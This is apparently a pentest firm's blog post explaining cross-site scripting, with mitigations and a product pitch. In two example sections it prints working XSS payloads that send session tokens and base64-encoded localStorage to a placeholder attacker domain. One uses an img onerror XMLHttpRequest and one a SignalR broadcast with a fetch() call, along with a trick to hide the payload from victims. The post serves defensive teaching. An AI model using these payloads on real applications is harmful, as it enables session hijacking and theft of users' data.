Cross-site scripting attacks in action and how to protect against them

Cross-Site Scripting (XSS) attacks pose a significant security threat by infiltrating an application’s input fields with malicious code snippets. When users access the affected pages, this code is executed in their browsers, putting their sensitive information at risk. 

The malicious content injected into the web browser can take various forms, including JavaScript, HTML, Flash, or any other executable code. XSS attacks come in numerous forms, but commonly involve the theft of private data, such as cookies and session information, or redirecting victims to attacker-controlled web content. 

Once the malicious code runs in a user’s browser, attackers gain the ability to access, modify, or even steal critical data like cookies, session tokens, and user credentials. This stolen information can be exploited for identity theft, fraud, or unauthorized system access. 

Understanding XSS attacks 

XSS attacks leverage the injection of malicious code snippets into various input fields within web applications, including forms, search bars, and comment sections. These attacks occur under specific circumstances: 

  1. Untrusted data entry: The attack begins when data enters a web application through an untrusted source, typically a web request. 
  1. Lack of validation: The injected data becomes part of dynamic content that is sent to web users without undergoing proper validation for malicious content. 

Common objectives of XSS attacks 

XSS attacks serve various malicious purposes, including: 

  1. Injecting malicious content: Attackers deceive unsuspecting users by injecting deceptive content into webpages, which can lead to phishing attempts or drive-by download attacks. 
  1. Stealing session cookies: Attackers target session cookies to steal them, enabling them to impersonate victims in session hijacking attacks. This unauthorized access grants them entry into protected areas. 
  1. Capturing sensitive form submissions: Attackers intercept form submissions to seize sensitive information such as login credentials or credit card details. 
  1. Impersonating users: Attackers exploit XSS vulnerabilities to submit requests on behalf of victims, leveraging their permissions within the application. This tactic bypasses security measures, potentially granting elevated privileges or unauthorized access. 
  1. Data theft: Attackers can exploit XSS vulnerabilities to extract sensitive data from victims’ browsers, including cookies or other JavaScript-accessible information. This unauthorized access allows them to steal valuable data, compromising the privacy and security of the victims. 

By understanding these common objectives, developers and security professionals can better protect against XSS attacks and mitigate their potential impact. 

Different types of XSS attacks 

XSS attacks can be categorized into three main types: 

  • Reflected (also known as Non-Persistent or Type I): This type of attack occurs when user input is immediately displayed on a webpage without undergoing proper validation or escaping. For instance, it can happen in error messages or search results. The term “Reflected” refers to the fact that the malicious script is “reflected” off the web server and then executed in the user’s browser. 
  • Stored XSS (also known as Persistent or Type II): In this type of attack, user input is stored on the server and later displayed to other users without undergoing adequate checks or security measures. The term “Stored” signifies that the malicious script is saved on the server and then sent to other users’ browsers. 
     
  • DOM Based XSS (also known as Type-0): This attack occurs when a script manipulates the structure of the webpage (the DOM) in a harmful manner, using input provided by the user. Unlike the previous types, the attack takes place within the user’s browser, specifically within the DOM, rather than on the server. 

Real-world examples of XSS attacks 

Example 1: Session Hijacking  

This detailed example of a stored XSS payload dives into a nuanced instance where a seemingly ordinary user deploys an advanced XSS payload, leading to the compromise of an administrator’s session token. Once the attacker gains unauthorized access, they can potentially enable a full takeover of the administrator’s account and privileges. 

In a typical scenario, a user with basic privileges inputs a specially designed XSS payload into a web application feature like a comment section or a user profile update flow: 

"> <img src="1" onerror="var xhr= new XMLHttpRequest(); xhr.open('GET', 'https://[ATTACKER-DOMAIN]?token='+window.sessionStorage.getItem('5')); xhr.send();" />

This payload activates when an administrator or any other user views the affected page, initiating a series of covert operations to exfiltrate the victim user’s session token to an attacker-controlled server:  

# 1. HTML Attribute Termination (`">`):
The sequence `">` effectively terminates the current HTML attribute. This is critical for breaking out of the restricted context (like a text input field) and starting the injection of new HTML or script elements. 

# 2. Image Tag as a Trigger (`<img src="1">`):
An `<img>` element with an intentionally invalid source (`src="1"`) is inserted. This part of the payload is designed to fail (as the image doesn't exist), which is essential for triggering the JavaScript error handler. 

# 3. JavaScript Execution via Error Handling (`onerror="...`):
The `onerror` attribute is exploited here. It's a JavaScript event handler that activates when the image loading results in an error. This is where the attacker cleverly injects their script.

# 4. Creating and Configuring the XMLHttpRequest:
`var xhr= new XMLHttpRequest();`:
Initializes a new HTTP request. 

`xhr.open('GET', 'https://[ATTACKER-DOMAIN]?token=...')`:  
Configures the XMLHttpRequest to send a GET request to the attacker’s domain. The request includes a query parameter (?token=) designed to carry stolen data.

`window.sessionStorage.getItem('5')`: 
This script accesses the session storage of the user’s browser, attempting to retrieve sensitive data (like a session token).

`xhr.send();`:
Executes the request, exfiltrating the retrieved data to the attacker's server. 

# 5. Closure of the Payload (`"/>`):
Ensures that the HTML structure remains intact. This is necessary to prevent any visible malfunctions on the page, which could alert users or administrators to the malicious activity.

Example 2: Application-wide session hijacking  

This example demonstrates a critical XSS vulnerability in an application that utilizes SignalR’s Broadcast Messages feature for notification pop-ups. Exploitation of this vulnerability resulted in unauthorized access to all currently active user accounts. 

While most input fields were found to have adequate sanitization mechanisms in place, a notification button triggered a pop-up displaying a generic message for all active users on the application. This provided an ideal target for a XSS attack that could, in theory, be delivered to all those users who received the notification. Upon closer inspection, it was discovered that the pop-up messages were sent through a WebSocket call, with the following message: 

{"type":1,"target":"EmployerMessage","arguments":["11a111a-1c23-123w-2ad1-5bcdaf086234","{\"messageType\":\"Test\",\"data\":{\"content\":\"Generic Content Message...\",\"originatingSessionId\":\"1236abcd-1f2a-1c23-12a3-d495767d2ac\",\"timestamp\":\"2023-11-09T09:02:32.037Z\"}}"]}

The content argument within the WebSocket call contains the message to be displayed. To assess the possibility for a XSS vulnerability, an attempt was made to embed content into the content parameter. Specifically, a broken image tag was used for testing purposes. 

{\"content\":\"<img src=x>\",

Unexpectedly, the broken image tag was reflected back to the browser without any sanitization, confirming that the feature was vulnerable to XSS. Upon examination of the authorization handling, it was also discovered that sensitive information (including any victim user’s session details) was stored in the browser’s localStorage, which provided a powerful opportunity for exploitation. 

To execute the attack discreetly, a malicious payload was crafted using the broken image tag. To ensure the payload appears as a normal pop-up, the following code was appended: “onerror=this.style.display=’none'”. This would prevent the broken image tag from being displayed and notifying the victim user of any malicious activity. In the payload, the objective was to fetch the localStorage data and transmit it to our attacker-controlled server. 

\"content\":\"Outpost24, stealing some Local Storage!<img src=x onerror=this.style.display='none',fetch('https://[ATTACKER-DOMAIN]/extractedData?LocalStorage='+btoa(JSON.stringify(localStorage)))>\"

By submitting this payload, an application-wide notification will be triggered, reaching all active users. This notification will execute the malicious JavaScript in each of these users’ browsers and exfiltrate their localStorage data directly to our attacker-controlled domain. 

Figure 1 – Stream of connections to the attacker-controlled domain, containing our victim’s session tokens 

We have successfully hijacked the sessions of every currently active user. This exploit is made possible by the WebSocket SignalR Broadcast Message request, which was overlooked during development and lacks proper sanitization measures. 

This situation serves as a reminder that the context of where the injected JavaScript will execute is of vital importance when considering the criticality of a XSS vulnerability. Additionally, as with the previous example in this blog, it is important to ensure that sensitive data is not stored in the browser’s local or session storage where it can be accessed by JavaScript. Instead store sensitive data, and in particular session tokens, within cookies with the SameSite, Secure and HttpOnly attributes set appropriately.  

Mitigating XSS attacks  

The effectiveness of an XSS attack largely depends on the security measures in place on the web application, the sophistication of the malicious script, and sometimes the interaction of the user (as in the case of phishing). 

The following measures can help you mitigate the risks associated with XSS attacks:  

  • Using a Content Security Policies (CSP) to prevent the execution of malicious scripts. 
  • Strict input validation and output encoding to prevent injection of malicious scripts. 
  • Comprehensive cybersecurity training for all users, emphasizing the importance of vigilance. 
  • Regular security audits and pen testing to detect and rectify XSS vulnerabilities. 

Continuous pen testing with Outpost24 

Web application security testing is crucial for identifying vulnerabilities and weaknesses in web applications, including critical XSS vulnerabilities. Outpost24 offers a comprehensive pen testing as a service (PTaaS) solution called SWAT. The solution combines the precision and expertise of manual penetration testing with continuous vulnerability scanning to provide scalable and robust security testing for web applications.  

For more information about SWAT, request a live demo today! 

About the Author

Agon Hysenaj Senior Application Security Auditor, Outpost24

Agon specializes in penetration testing with over 6 years of experience. Focused on identifying vulnerabilities, Agon conducts thorough assessments of systems, applications, and networks. Their commitment to staying ahead of emerging threats is evident through extensive technical research. 

Erik Zettergren Application Security Auditor, Outpost24

Erik is a seasoned Application Security Auditor at Outpost24, boasting extensive expertise in penetration testing and security research, with a focus on comprehensive web application assessments. He holds a notable certification as a Burp Suite Practitioner.

Tom Stacey
Thomas Stacey Application Security Auditor, Outpost24

Thomas is an Application Security Auditor with Outpost24. He is a highly skilled penetration tester and security researcher with expertise in web application testing with over five years of experience. He is a Burp Suite practitioner, a full-time Lego enthusiast, and loves to share his knowledge with others.